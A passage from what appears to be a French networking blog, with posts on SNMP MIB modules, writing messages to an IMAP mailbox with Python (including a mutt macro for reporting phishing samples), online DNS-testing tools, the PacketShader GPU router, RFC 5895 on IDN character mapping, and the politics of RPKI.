              remoteIndicationUnknown     (0),
              remoteRequestFcsRetention   (1),
              fcsRetentionEnabled         (2),
              fcsRetentionDisabled        (3),
              localFcsRetentionCfgErr     (4),
              fcsRetentionFcsSizeMismatch (5)
              }
     MAX-ACCESS    read-only

La section 5 du RFC est consacrée spécifiquement aux modules et notamment à leurs métadonnées (organisme à contacter, numéro de version, etc). La section 6 se penche sur les définitions d'objets. L'exemple du RFC est imaginaire mais voici un exemple réel tiré du RFC 5813 (CE = Control Engine, la partie du routeur qui fait tourner les protocoles de routage) :

forcesLatestProtocolVersionSupported OBJECT-TYPE
          SYNTAX      ForcesProtocolVersion
          MAX-ACCESS  read-only
          STATUS      current
          DESCRIPTION
                 "The ForCES protocol version supported by the CE.
                  The current protocol version is 1.
                  Note that the CE must also allow interaction
                  with FEs supporting earlier versions."
          ::= { forcesMibObjects 1 }

      forcesAssociations OBJECT IDENTIFIER ::= { forcesMibObjects 2 }

Un objet a enfin un encodage sur le câble (à peine mentionné dans le RFC) car ASN.1 ne spécifie pas comment les objets doivent être sérialisés en bits. Le SMI utilise BER.

Les MIB sont souvent utilisées comme base pour créer de nouvelles MIB, par exemple parce que le protocole a évolué et qu'on met à jour la MIB. La section 10 donne d'utiles conseils dans ce cas, notamment l'importance de ne pas retirer d'éléments de la MIB car les clients SNMP peuvent être restés à l'ancienne MIB. Les nouveaux éléments ne les gènent pas (ils ne les interrogeront pas) mais un élément supprimé va les prendre en défaut. Dans tous les cas, les OID ne doivent jamais être réaffectés. Si la définition d'un objet change de manière incompatible, c'est un nouvel objet et il doit recevoir un nouvel OID. La section 10.2 liste les changements compatibles : ajouter une nouvelle valeur à une énumération, par exemple (mais pas en retirer).

Une implémentation complète du SMI figure en http://www.ibr.cs.tu-bs.de/projects/libsmi/ (sur une Debian, c'est dans le paquetage libsmi2-dev). Sur beaucoup de systèmes d'exploitation, les MIB elles-mêmes sont distribuées et, par exemple, sur Debian ou une Gentoo, elles se trouvent dans /usr/share/snmp/mibs.


Téléchargez le RFC 2578


L'article seul

Écrire un message en IMAP avec Python

Première rédaction de cet article le 22 septembre 2010


La bibliothèque imaplib du langage Python permet d'accéder à un serveur de courrier IMAP et est surtout utilisée pour lire des messages. Mais elle peut aussi être utilisée pour écrire.

Attention, j'ai bien dit « écrire des messages dans une boîte », pas « envoyer un courrier à un destinataire », chose que IMAP ne permet pas. La méthode est simple, utilisant la méthode append(), et je peux mettre le code directement ici (le message est lu sur l'entrée standard mais il pourrait venir de n'importe où) :

connection = imaplib.IMAP4_SSL(hostname)
connection.login(username, password)
message_first = sys.stdin.readline() # Drop the mbox separator line
message = sys.stdin.read()
result = connection.append(mailbox, '', imaplib.Time2Internaldate(time.time()), \
                           message)
print result
connection.logout()

Et voilà, le programme, si tout s'est bien passé, mettra le message dans la boîte mailbox. En cas de problème, la première chose à vérifier est que le message est bien un message à la syntaxe du RFC 5322, avec une ligne vide entre les en-têtes et le corps.

Un bon article de plusieurs exemples de programmes Python utilisant cette bibiothèque est « imaplib - IMAP4 client library ».

Si, une fois qu'on a ce programme, on veut l'intégrer dans mutt, par exemple pour transmettre des messages de hameçonnage à la base du CRU, il suffit d'avoir le programme report-phishing.py, un fichier de configuration comme :

[default]
hostname: XXX.ensmp.fr
username: YYY
password: ZZZ
mailbox: INBOX.UUU

et de mettre dans son ~/.muttrc :


macro index,pager \ep "<enter-command>set pipe_decode=no\n<enter-command>set wait_key\n<pipe-entry>report-phishing\n<enter-command>set wait_key\n<enter-command>set pipe_decode=yes\n" "Report phishing"

Désormais, en regardant un message de hameçonnage, il suffira d'un ESC-p pour transmettre le message au dépôt.


L'article seul

On-line tools to test your DNS setup

First publication of this article on 20 September 2010
Last update on of 21 September 2010


Even without DNSSEC (which will perhaps become de facto mandatory in the next years), the setup of DNS is far from obvious for the typical system administrator and many errors are found in the wild. The DNS being very robust, these errors have typically no visible consequences (they may have serious invisible consequences, such as longer than necessary delays in name resolution). But the growing demand for a more reliable Internet makes these errors less and less acceptable. And, with DNSSEC, they will probably have actual and visible consequences for the end users. So, testing the DNS zone that you have just configured is the least you can do, if quality control matters to you. There are many software tools to help the system administrator here but this small article focuses on online tools, that you can use from a Web browser.

Testing with dig is far from enough: there are many things that can go wrong and using only dig would require typing dozens of complicated commands. Many tools automate these tests and some of the local tools are very good. My choice to focus on Web services results from two important properties of online tools:

  • You do not need to install any software or any library, you just need a browser.
  • You have a view of your DNS zone from the outside (many things may work from the inside and break from the outside because, for instance, of BIND's views or badly configured firewalls).

So, let's explore the online, Web-based, solutions. Let me tell you immediately that I'm going to express opinions: not all tools are created equal and some have really significant issues, which make it difficult to recommend them to sysadmins. Either their authors do not know enough about the DNS (which is indeed a complicated beast) or they failed to follow the changes of the Internet in the last ten years. If you disagree with my choices, you can send technical explanations of your opinions to stephane+blog@bortzmeyer.org. (Or discuss it publicly on the dns-operations mailing list.)

OK, now, let's start with the good tools. First, the generic ones, which exercice all the parts of DNS.

DNScheck is a nice tool, with a beautiful interface. (This tool is also available as a local program but I did not test this version.) It indicates clearly whether the error is serious or not and gives good explanations. It supports DNSSEC but, in September 2010, it still does not support the recent algorithms of type 8 (SHA-256) or 10 (SHA-512) and it claims that .org, for instance, is not properly signed ("At least one DNSKEY should be of type RSA/SHA1", which is wrong). The same software is also used at Pingdom.

Zonecheck has a plainer interface (in English or in French). It performs many tests and typically catches more errors than most of the other tools (for instance network errors when a packet cannot travel over links with small MTU because a broken firewall blocks ICMP packets). Sometimes, its enthusiasm leads to false positives (for instance when the zone changes rapidly, it complains about the different serial numbers in the authoritative name servers). It also experiences too often network timeouts, if the remote server is not blazingly fast. Among its other possibilities, you can use it to test a zone which is not yet delegated (by specifying the name servers explicitly). But it stays on the one zone you indicate, it does not follow the tree from the parent zones so it cannot be used to debug complicated hierarchy-related issues. Zonecheck supports DNSSEC. (Disclaimer: I work for AFNIC, where most of the Zonecheck development is done.)

There are also tools which are specific and test only a part of the DNS setup, typically DNSSEC.

DNSSEC debugger makes very comprehensive DNSSEC tests and produces good explanations.

A tool even more specific is DNSviz. It visualizes the DNSSEC keys of the zone and its parents, and produces a very good and readable graph of their relationships. Very few tools analyze the entire chain from the root, something which is very important for DNSSEC.

Speaking of specific tools, squish.net DNS checker is not really a DNS tester but rather a DNS analyzer, giving to experts (the documentation emphasizes that it is intended only for them) a lot of information about the domain, as seen from the root. Speaking of experts, the Mother of All DNS Checking Web Sites, http://www.dnscheck.se/, is still on line but is not for the faint of heart.

Now, there are tools which I cannot recommend.

Cricket Liu, author of the very good O'Reilly book "DNS and BIND", is a well-known figure in the world of the DNS so it is not a surprise if Infoblox emphasizes his name on the DNS advisor. Unlike the two previous tools, it requires you to provide a working email address to use it. It fails on IPv6 name servers (claiming "returned: no nameservers" or "No A RRs") which is, in my opinion, not acceptable in 2010, less than a year before the end of the IPv4 address pool.

DNSqueries does many things besides testing the DNS. Like the previous tool, it fails on IPv6 name servers. It also gives a strange advice: "I found that you have only one MX record. If this mail server goes down this can cause mail delivery delays or even mail loss. This acceptable [sic] but consider increasing the number of your MXs." But having more than one MX record (and keep them in synch, specially for the anti-spam struggle) is certainly a bad idea for most small and medium organizations. (I wrote a paper in French about it.) Speaking of spam, this tool still mentions RFC 821 as the authoritative source for SMTP... (The current RFC is RFC 5321.)

intoDNS has also the same problems (fails on IPv6 name servers and warns when there is only one MX). More funny, It sends errors when there is no www name in the zone which is quite stupid. And it can not test TLD (it says "Invalid request").

DNSsniffer has exactly the same problems ("Fail. You have 1 mx record listed, this can be a single point of failure.") and some more (for instance, it flags stealth name servers as an error, or it reports as a warning the fact that the name servers of .org do not send glue records for a name server in .net!).

DNSsy also fails badly when there are IPv6 name servers. It makes it spit several spurious errors (because each test involving these name servers fails).

What about SolveDNS? I find it has many spurious answers such as "No name server found that can respond to A Record queries." which I find quite baffling.

Like many of the others, How is my DNS?, LeafDNS or MyDNScheck produce spurious errors, regarding every IPv6 name server as a broken server. The problem is not that these services do not have IPv6 support (which would be understandable).The problem is that they fail when they encounter an IPv6 name server (marking the server as invalid) instead of simply ignoring it (as an IPv4-only DNS resolver would do). For instance, an option "Transport layer" of Zonecheck allows you to disable IPv6 and, in that case, IPv6 name servers are simply ignored.

None of these last tools support DNSSEC.

DNScog also has no IPv6 support (which could be understood) but does not know it has no such support and therefore fail badly when a nameserver has an IPv6 address: "Some of the nameservers did not answer any of our queries for your domain.".

DNSreport at DNSstuff is apparently no longer (September 2010) available gratis online. The Domain Health Report of UltraDNS displays its results only to registered people, so I was not able to test it.

In the category of DNSSEC-specific tools, there are also services I cannot recommend.

DNSSEC monitor produces warnings such as "server is using nsec instead of nsec3" as if there were something fundamentally wrong with NSEC. Maybe this is because this tool is made for a local community which decided to promote NSEC3? Also, the "errors" it reports are repeated for every authoritative name server, despite the fact they all serve the same content, which is distracting.

So, my advice is, for generic DNS testing, use DNScheck or Zonecheck. If you are interested only in thorough DNSSEC testing, use DNSSEC debugger.

Thanks to Gilles Massen and Niall O'Reilly for their clever comments.


L'article seul

PacketShader : transformer un PC en routeur IP ultra-rapide

Première rédaction de cet article le 19 septembre 2010
Dernière mise à jour le 27 septembre 2010


L'augmentation colossale de la capacité des réseaux informatiques fait peser une lourde tâche sur les épaules des routeurs, qui doivent désormais faire passer des paquets sur plusieurs liens 10 Gb/s. Les routeurs dits « logiciels », basés sur du matériel non-spécialisé (par exemple un PC) peuvent-il tenir ce rythme ou bien doivent-il laisser la place aux engins chers et surtout 100 % logiciel privateur comme les Cisco ou les Juniper ? Ce remarquable article de chercheurs coréens montre que non et qu'il est possible aujourd'hui de bâtir un routeur aussi rapide que les engins de course, avec un PC et Linux. Principale percée réalisée par les dits chercheurs : sous-traiter une bonne partie des opérations au GPU...

Contrairement à ce que prétendent les commerciaux de Cisco ou de Juniper, il a toujours été possible de bâtir un routeur IP sur du matériel ordinaire, avec du logiciel libre. Ce n'est toutefois pas une tâche triviale : un routeur moderne comporte deux parties, le Contrôle (control plane) et la Transmission (forwarding plane). Le premier parle les protocoles de routage comme BGP, protocoles souvent complexes, sa tâche n'est que faiblement « temps réel » et il a besoin de mémoire (un routeur BGP sans route par défaut stocke aujourd'hui dans les 330 000 routes) et de CPU. Un PC ordinaire est donc bien adapté à cette tâche, pour laquelle il existe plusieurs logiciels libres comme Quagga ou BIRD.

La Transmission, quant à elle, est implémentée dans tous les Unix depuis belle lurette, donc tout PC avec Ubuntu sait faire tout le travail de routage (sur Unix, la table de routage utilisée par la transmission s'affiche avec netstat -rn). Il existe aussi des projets plus complets d'un routeur entier sur un PC/Unix comme par exemple RouteBricks, pris comme point de comparaison dans l'article. Mais le problème est quantitatif. Le travail du Contrôle est proportionnel au nombre de routes et au nombre de changements de celles-ci. Mais celui de la Transmission est proportionnel au nombre de paquets ! Même si les opérations à effectuer pour chaque paquet sont simples, ce travail doit être multiplié par des chiffres impressionnants. Et pas question de trainer, sous peine d'accroître la latence du réseau. Sur un lien Ethernet à 10 Gb/s (ce qui est encore luxueux sur le bureau mais est déjà la norme à l'intérieur des réseaux d'opérateurs), cela peut faire des dizaines de millions de paquets par seconde. En débit (les 10 Gb/s) et en nombre d'interruptions (une par paquet pour une mise en œuvre naïve), cela stresse considérablement le PC de base.

Les routeurs très chers des grosses entreprises s'en tirent en utilisant des composants complètement différents pour le Contrôle et la Transmission : sur un Juniper, par exemple, un PC doté d'une variante de FreeBSD fait le contrôle et des ASIC, bien plus coûteux, assurent la Transmission. On voit que, lorsque certains enthousiastes du logiciel libre annoncent qu'un logiciel comme Quagga « permet à n'importe quel PC de faire comme un Cisco dix fois plus cher », ils simplifient exagérement : Quagga assure le Contrôle mais il reste à transmettre les paquets très vite (at line rate, dit-on souvent en anglais, c'est-à-dire à la vitesse maximale que permet le réseau physique sous-jacent).

Un dernier mot sur l'architecture d'un routeur : quel est le protocole de communication entre le Contrôle et la Transmission ? Il existe une norme à l'IETF, Forces (Forwarding and Control Element Separation), spécifiée dans le RFC 5810. Mais il n'est pas déployé pour l'instant et, en pratique, le protocole de communication est toujours un protocole privé (comme netlink sur Linux, documenté dans le RFC 3549). Il n'est donc pas possible aujourd'hui de « faire son marché » en combinant des composants de divers constructeurs, connectés par un protocole standard.

Revenons maintenant à l'article dont je voulais parler. « PacketShader: a GPU-Accelerated Software Router », de Sangjin Han, Keon Jang, KyoungSoo Park et Sue Moon, décrit en détail la méthode utilisée pour mettre au point le logiciel PacketShader, un programme tournant sur Linux et qui permet d'obtenir d'un PC (un engin de gamer, toutefois, pas un PC bas de gamme) les performances d'un routeur « matériel ». Leur but est de proposer des routeurs moins chers et plus flexibles, puisque le code pourra être modifié plus facilement que s'il est dans un noyau temps-réel. Par contre, question logiciel libre, il ne semble pas que le source de PacketShader soit disponible. Les performances annoncées sont impressionnantes, avec 40 Gb/s de transmis en IPv4, pour toutes les tailles de paquet (une partie du coût est « par octet » et une autre est « par paquet » donc effectuer les mesures avec des paquets de la taille maximale est une méthode classique pour avoir des bons chiffres dans les benchmarks). Même en IPsec, avec le coût du chiffrement, PacketShader pompe de 10 à 20 Gb/s.

Les résultats détaillés de PacketShader sont présentés dans la section 6 de l'article. Quatre applications ont été testées, transmission IPv4, transmission IPv6, OpenFlow et IPsec. Dans tous les cas, un générateur de paquets produisait des données que PacketShader devrait recevoir et transmettre. Pour le routage IPv4, la taille de la table de routage (trop grande pour tenir dans les caches du processeur) entraine beaucoup d'accès mémoire. Une table réelle était utilisée (copiée de Route Views) alors que, en IPv6, une table artificielle avait été générée (la table réelle, très petite, aurait tenu dans le cache L2). Pour IPsec, le choix a été de faire du routeur PacketShader le point d'entrée d'un tunnel ESP. À chaque fois, PacketShader a tourné dans deux modes à comparer, uniquement sur le CPU et avec le CPU et le GPU.

Les résultats sont rassemblés dans la figure 11. En IPv4, le débit théorique maximal est atteint, même sans le GPU. Ce dernier ne sert que pour les petits paquets (un gain de 40 % pour les paquets de 64 octets). En IPv6, le gain du GPU est bien plus important : la plus grande taille des adresses oblige à davantage d'accès mémoire. Pour IPsec, l'avantage du GPU est très marqué, même pour les grands paquets (1514 octets), où le GPU fait plus que doubler le débit.

Comment sont obtenues ces perfomances ? L'une des principales percées de cet article est d'utiliser un composant peu connu du PC, mais désormais largement disponible, le processeur graphique (le terme de packet shader vient d'ailleurs d'un terme du monde du graphique, shader). Grâce aux gamers, on trouve désormais pour les PC des processeurs ultra-spécialisés, très parallèles (des centaines d'unités de calcul sur une seule puce), programmables par des bibliothèques relativement accessibles comme CUDA. (Attention, CUDA est non libre. Elle a un concurrent libre, OpenCL, mais qui semble très peu déployé en pratique, peut-être en raison de sa plus grande difficulté d'usage.) Ils coûtent facilement dans les 500 € mais augmentent nettement les performances graphiques. Ce GPU peut servir à bien d'autres choses qu'à l'affichage de monstres qu'il faut abattre le plus vite possible (pour un exemple rigolo, voir une base de données avec GPU). Et son rapport performances/prix augmente bien plus vite que celui du CPU. La section 2 de l'article décrit en détail les GPU, et le modèle utilisé, un Nvidia GTX 480 (ce dernier chiffre indiquant le nombre d'unités de calcul). Le GPU est certes très rapide, mais c'est en partie parce que son modèle d'exécution est différent de celui d'un processeur généraliste. De type SIMT (single-instruction, multiple-threads, une catégorie absente de la taxinomie de Flynn), le GPU requiert une programmation spécifique. Sur les processeurs Nvidia, elle se fait typiquement en CUDA, un environnement qui permet de programmer en C avec extensions spécifiques, avant la compilation du code vers le GPU. La figure 2 de l'article montre ainsi ce que l'on peut gagner de temps sur une tâche simple (déterminer le prochain saut pour un paquet IPv6) par rapport au CPU traditionnel : à partir de 300 paquets en cours de traitement (ce qui permet d'exploiter à fond le parallélisme du GPU), le CPU traditionnel est battu et largement battu si des milliers de paquets se présentent à peu près en même temps.

Faire des calculs très vite ne sert à rien si on ne peut pas nourrir le processeur en données au même rythme. La capacité théorique de PCIe est de 8 Go/s mais, en pratique, le travail nécessaire, par exemple à la DMA, ne permet pas d'aller aussi vite. C'est le second gros travail de l'équipe de PacketShader.

La section 3 de l'article décrit la machine utilisée. Avec ses deux Xeon quadricore, ses deux GPU Nvidia GTX 480, et ses quatre cartes réseau Intel 82599 (chacune ayant deux ports à 10 Gb/s), ce n'est quand même pas le PC de bureau de M. Michu ! Mais, à 7 000 US $, il est infiniment moins cher qu'un routeur Cisco. L'étude attentive de la bête a montré aux auteurs de l'article quelques comportements curieux (comme un débit plus élevé lorsque les données vont de la mêmoire au GPU qu'en sens inverse, si la machine a deux I/O Hub). Bon, et le logiciel ? Ubuntu avec le noyau Linux standard. Et bien sûr un bon pilote pour les cartes Ethernet et le SDK CUDA pour programmer le GPU.

Deux grands chantiers ont permis de transformer le PC en un routeur de course : l'utilisation des GPU (section 5 de l'article), pour décider de ce qu'on fait du paquet, et pour des opérations comme le chiffrement, et l'optimisation des entrées/sorties des paquets (section 4). Voyons d'abord le GPU.

Le modèle de programmation de ces puces est très différent de celui d'un processeur classique. Il a donc fallu développer un logiciel entièrement nouveau. Celu-ci tourne en mode utilisateur (alors que la transmission de paquets IP sur Linux se fait traditionnellement entièrement dans le noyau, pour éviter de perdre du temps en franchissement de la frontière entre le noyau et l'application). Le but est de pouvoir utiliser des bibliothèques comme CUDA (pour l'interface avec le GPU) et OpenSSL (pour mettre en œuvre IPsec). Le mode utilisateur fournit en outre un environnement de développement bien plus facile. Mais comment surmonter sa relative lenteur (trois fois plus lent, selon les mesures qui avaient été faites avec un autre système) ? Les auteurs citent le regroupement des paquets en lots (un seul appel système peut ainsi envoyer plusieurs paquets), une stricte correspondance entre les fils d'exécution et les files d'attente des paquets, pour éviter que deux fils ne se battent pour accéder à une file d'attente et enfin un mécanisme d'attente active sur les cartes réseaux (plutôt que d'attendre les interruptions, car une interruption est relativement lente, trop pour en faire une par paquet) mais suffisamment intelligent pour ne pas priver les autres processus (comme le serveur BGP) du processeur : PacketShader lit la file d'attente puis, lorsqu'elle est vide, remet les interruptions en service. À la prochaine interruption, il coupera les interruptions, lira la file, et ainsi de suite.

Je ne vais pas résumer ici toutes les optimisations utilisées pour que le routeur aille vite, lisez plutôt l'article original. Mais un des points importants est que, quoique l'environnement de développement CUDA permettre de prendre un programme C et de le faire tourner sur le GPU avec le minimum d'efforts, les performances demandées pour un routeur 40 Gb/s nécessitent de modifier profondément le modèle séquentiel de traitement des paquets, et de bien réflechir à ce qu'on garde sur le CPU classique (lent mais très général) et ce qu'on envoie sur le GPU (rapide pour ce qu'il sait bien faire mais très lent sur certaines tâches, notamment celles ayant peu de parallélisme). La copie des données vers le GPU ayant un coût, il faut être sûr que le gain de vitesse compensera ce coût.

Et les entrées/sorties ? Les auteurs estiment que la couche réseau de Linux est trop inefficace pour la plupart des opérations d'un routeur à très haut débit. Par exemple, chaque paquet nécessite l'allocation et la déallocation de deux tampons (un pour le paquet et un pour les métadonnées, qui sont par ailleurs trop grosses, car un routeur n'a pas besoin de beaucoup d'informations sur le paquet qu'il route). PacketShader a donc son propre système, qui comprend un seul énorme tampon pour les paquets. Les métadonnées sont, elles, réduites aux huit octets indispensables (208 dans le code de Linux original).

Autre moyen de gagner du temps : regrouper les opérations de plusieurs paquets. Un routeur « logiciel » naïf laisserait la carte Ethernet lever une interruption par paquet, puis copierait ce paquet en mémoire, puis déciderait de son sort et ferait ensuite un appel système pour passer le paquet au noyau, puis au pilote de la carte réseau. Chacune de ces opérations est coûteuse et on ne peut pas la faire pour chaque paquet, sans diminuer sérieusement les performances. Au contraire, RouteBricks regroupe plusieurs paquets en une seule opération et PacketShader étend ce principe même à l'application de Transmission. Le système d'entrées/sorties des paquets de PacketShader a été testé séparement (sans décision de Transmission suivant l'adresse de destination). En émission seule, les 80 Gb/s théoriques sont atteints, en réception seule, le routeur plafonne à 60 Gb/s (sans doute en raison de l'asymétrie décrite plus haut). En combinant les deux (cas d'un vrai routeur, qui reçoit des paquets et les fait suivre), les 40 Gb/s sont atteints.

Pour terminer l'article, deux intéressantes sections, la 7, consacrée à une discussion sur les limites de PacketShader et les moyens de les surmonter, et la 8, consacrée aux travaux similaires qui ont déjà été menés.

Parmi les limites, il y a le fait que PacketShader, qui gère la partie Transmission du routeur, n'a pas encore été connecté avec un logiciel qui gérerait la partie Contrôle, comme par exemple Quagga. Les performances pourraient se dégrader si le rythme de mise à jour de la table de routage était trop élevé, un problème que connaissent tous les routeurs, « matériels » ou « logiciels ».

Parmi les inconvénients qu'il y a à utiliser un GPU, la consommation électrique. Un GPU consomme plus qu'un CPU « équivalent » (594 watts pour la machine de test, contre 353 sans ses processeurs graphiques).

Le site Web officiel du projet est http://shader.kaist.edu/packetshader/. Comme indiqué plus haut, il ne semble pas que le code source soit disponible. Merci à Emmanuel Quemener pour ses remarques stratégiques et à tous les participants au FRnog pour la très intéressante discussion qui a suivi la publication de cet article.


L'article seul

RFC 5895: Mapping Characters in IDNA2008

Date de publication du RFC : Septembre 2010
Auteur(s) du RFC : P. Resnick (Qualcomm Incorporated), P. Hoffman (VPN Consortium)
Pour information
Première rédaction de cet article le 14 septembre 2010


Dans l'ancienne version de la norme IDN, en 2003, une étape obligatoire et uniforme de canonicalisation (ou normalisation) précédait le traitement des noms de domaine en Unicode. La nouvelle version d'IDN, sortie en 2010, a supprimé cette étape. Désormais, chaque application est libre de canonicaliser comme elle le souhaite les noms entrés par l'utilisateur. Il n'est toutefois pas interdit de donner des conseils aux programmeurs mais il n'a pas été possible, dans le groupe de travail idnabis, de trouver un consensus sur ces conseils. Il y aura donc un ou plusieurs RFC « pour information seulement » sur ce sujet. Celui-ci est le premier.

La section 1 du RFC rappelle ce problème de normalisation. Celle-ci se produit uniquement dans les applications, et n'a pas d'influence sur ce qu'on voit dans le réseau. Sur le câble, on voit passer uniquement des noms « punycodés » comme xn--acadmie-franaise-npb1a.fr. La norme IDNA bis (RFC 5890 et suivants) expose comment traduire un nom de domaine en Unicode (comme académie-française.fr) en cette forme punycodée (et retour). Le RFC 5891 impose que le nom Unicode soit déjà en forme normale C et n'accepte qu'un nombre restreint de caractères (par exemple les majuscules sont exclues). Imaginons qu'un utilisateur francophone travaille dans un environnnement Latin-1 et saisisse Académie-Française.fr. Ce nom est illégal pour IDNA bis et, pire, il n'est pas en Unicode. Il va donc falloir le traduire en Unicode, et le normaliser. Ici, c'est trivial, on remplace les octets de Latin-1 par ceux d'un encodage Unicode et on remplace chaque majuscule par sa minuscule équivalente. On a fait une normalisation. Mais, dans certains cas, l'opération est bien plus complexe. En français, il est difficile de trouver un exemple significatif. Mais d'autres langues posent des défis plus sérieux. Un exemple classique est celui du turc où la minuscule du grand I sans point (I) est le petit i sans point (ı) pas le petit i avec point (i). Mettre I en minuscule dépend de la locale.

Il est donc impossible de trouver une normalisation qui couvre proprement tous les cas, ne serait-ce que parce qu'elle dépend de la langue (alors que les RFC définissent des normes mondiales). Le choix de IDNA bis avait donc été d'abandonner le principe d'une normalisation standard (qui était définie dans le RFC 3491). Il y a donc désormais plusieurs normalisations possibles. Toutes devraient suivre un principe simple « surprendre l'utilisateur le moins possible ». Plus facile à dire qu'à faire... Notre RFC 5895 précise d'ailleurs modestement qu'il ne donne pas une solution complète. Mais, au moins, la normalisation est laissée au logiciel qui est le mieux placé pour connaître le contexte, le logiciel qui est directement en contact avec l'utilisateur.

À propos de la différence entre interface utilisateur et protocole réseau, la section 1.1 contient une intéressante discussion à ce sujet. Normalement, l'IETF ne s'occupe que des protocoles. L'interface utilisateur est certes une chose importante mais elle nécessite des compétences différentes, qui ne sont pas forcément très présentes à l'IETF. Résultat, beaucoup de programmeurs d'applications réseau sous-estiment la difficulté de réaliser une bonne interface utilisateur. Ainsi, des phrases qu'on trouve dans des normes IDN comme « l'utilisateur rentre un nom de domaine en Unicode » expédie en moins d'une ligne un processus très complexe, partant d'une décision de l'utilisateur de choisir tel symbole plutôt que tel autre, puis de le rentrer dans l'ordinateur par des moyens très divers (rien qu'avec un clavier, il existe d'innombrables manières de taper un sinogramme, par exemple ; et le clavier n'est pas le seul périphérique d'entrée), le tout suivi par le processus d'interprétation des entrées par l'ordinateur (très simple pour l'ASCII mais bien plus complexe avec d'autres écritures).

IDNA bis a supprimé complètement la partie « interface utilisateur ». Notre RFC 5895, sans la rétablir dans le protocole, expose des idées pour la gérer. Cette idée est résumée dans la section 1.2 : ce RFC 5895 propose des extensions à IDNA bis pour canonicaliser les noms d'une manière raisonnable dans la plupart des cas. Par définition, la normalisation de ce RFC ne conviendra donc pas à tout le monde, d'où son caractère « pour information » seulement.

La section 2 décrit la procédure de normalisation sous forme d'une suite d'étapes :

  • Passer les caractères en minuscule, en utilisant uniquement la base Unicode (propriétés Lowercase_Mapping dans le fichier SpecialCasing.txt puis Simple_Lowercase_Mapping dans la table principale).
  • Les caractères « pleine-chasse » et « demi-chasse » sont remplacés par leur équivalent (défini dans la table principale Unicode), le seul qu'accepte IDNA bis. Cette étape est utile car les mécanismes de saisie utilisés en Asie ne permettent pas toujours facilement de saisir la forme qu'attend le RFC 5891.
  • Les caractères sont normalisés en NFC. C'est la forme qu'attend IDNA bis. Il est raisonnable que l'application fasse cette normalisation car l'utilisateur n'en a pas toujours la possibilité. Si vous tapez sur la touche « à » de votre clavier, savez-vous si l'application enregistrera U+00E0 (petit a avec accent grave) ou bien U+0061 U+0300 (petit a suivi de l'accent grave combinant) ? NFC ne laissera subsister que la première forme.
  • Pour de très bonnes raisons, les règles d'IDNA bis ne s'appliquent qu'à un composant de nom de domaine isolé. Ainsi, dans www.académie-française.fr, académie-française est traité sans considération pour le composant précédent (www) ou pour le suivant (fr). Il y a de très bonnes raisons pour cela (même si certains amateurs de régulation auraient voulu faire des règles inter-composants) mais la canonicalisation, qui dispose du nom complet peut ajouter d'autres étapes notamment considérer comme séparateur d'autres caractères que le point de ASCII. Le 。 (U+3002) est recommandé.

Si j'appliquais cet algorithme, aurais-je une normalisation raisonnable ? La section 3 étudie ce point et répond clairement non. L'algorithme décrit en section 2 est uniquement un point de départ pour le programmeur et ne devrait pas être utilisé « sec ». La bonne démarche pour le courageux développeur est donc de bien lire la section 1 pour comprendre l'ampleur du problème, ensuite de partir de l'algorithme de la section 2 et de l'adapter.


Téléchargez le RFC 5895


L'article seul

Conséquences politiques du déploiement des RPKI

Première rédaction de cet article le 12 septembre 2010


Il est curieux de constater que la gouvernance des noms de domaine déplace autant de vent et suscite autant de réunions internationales (voir par exemple le FGI qui se tient en ce moment à Vilnius) alors que celle du routage, plus cruciale pour l'Internet, se fait essentiellement derrière des portes closes, dans des petits cercles fermés. Ainsi, le déploiement, déjà en cours, d'une RPKI (Resource Public Key Infrastructure, IGC de routage) se fait dans la plus grande discrétion. Il est temps de discuter des implications politiques de ce déploiement, ce que fait l'excellent papier de l'IGP, « Building a new governance hierarchy: RPKI and the future of Internet routing and addressing ».

C'est un très bon document qui sera lu avec intérêt par le petit nombre de gens qui s'intéressent à la fois à l'aspect technique (ici, il s'agit de protéger le protocole de routage BGP contre des attaques ou des problèmes comme les fantaisies de Pakistan Telecom) et à l'aspect politique (le rôle des RIR, la distribution de pouvoir entre eux et l'ICANN et les opérateurs). Mais un petit avertissement tout de même : l'article commence par annoncer qu'il va être consacré à l'information du lecteur, sans prendre position, mais ce n'est pas tout à fait exact : l'article penche plutôt du côté de l'inquiétude, mettant en avant le fait que la RPKI va augmenter le pouvoir des RIR, au détriment des FAI (et sans doute de l'ICANN). En effet, à l'heure actuelle, le pire que puisse faire un RIR est de retirer une plage d'adresses de sa base de données (celle qu'on peut consulter avec whois). Cela ne change rien au routage, sauf pour la minorité d'opérateurs qui filtre les annonces BGP en se fiant aux bases des RIR. Le RIR ne pourra même pas réaffecter d'autorité cette plage à un autre utilisateur car, si l'ancien continue à l'annoncer, la réaffectation punira davantage le nouveau client innocent que le titulaire historique.

En effet, le principe des RPKI est d'attribuer des certificats aux titulaires de ressources comme les plages d'adresses IP. Les routeurs BGP acceptent ensuite (ou pas) les annonces selon qu'elles sont signées (ou pas) avec la clé indiquée dans le certificat. Le rôle essentiellement administratif des RIR devient donc un rôle opérationnel, avec possibilité d'influer directement sur les politiques de routage.

C'est une importante différence avec le déploiement de DNSSEC, où le même IGP a exprimé des craintes que cela ne mène à une plus grande centralisation du DNS. Mais le DNS a a toujours été hiérarchique, le gouvernement états-unien, via son sous-traitant VeriSign, a toujours eu la possibilité de supprimer ou d'ajouter un TLD comme il le voulait. DNSSEC ne change donc pas grand'chose à l'équilibre existant. Au contraire, aujourd'hui, les RIR n'ont pas la possibilité d'agir sur le routage (et ils le répètent à l'envi, « nous allouons des ressources virtuelles, c'est tout »). Avec la RPKI et un BGP sécurisé, on a donc un vrai changement de pouvoir.

Pourtant, cet important changement de politique de l'Internet a été très peu discuté et notamment pas dans les cercles habituels comme l'ICANN ou le FGI. Il est vrai que ceux-ci sont plus remplis d'avocats ou de politiciens que de gens qui comprennent le routage Internet, son importance et ses conséquences. Le papier de l'IGP explique bien qu'il n'y a nul complot pour dissimuler la vérité aux masses : il suffit de ne pas trop en parler, de présenter le sujet comme essentiellement technique, et le tour est joué, personne ne s'y intéresse.

Le déploiement en cours de RPKI est d'autant plus important qu'il n'a, pour l'instant, n'avait fait l'objet d'aucune décision formelle (depuis, l'IETF a publié une série de RFC sur un routage sécurisé, cf. aussi les RFC 4272, RFC 4593 et RFC 5123). Et, du côté des RIR, il semble qu'aucun d'eux n'avait développé à l'époque une politique concernant la RPKI (fouillez vous-même les politiques du RIPE, vous n'y trouverez que des propositions, comme la 2008-04), celle-ci étant simplement présentée comme un service optionnel. Il est vrai que l'aspect « sécurisation de BGP », quoique plus vendeur, est peut-être moins motivant pour le déploiement des RPKI que l'arrivée prochaine du marché des adresses IPv4, après l'épuisement proche de celles-ci (ce point est à peine mentionné dans l'article de l'IGP).

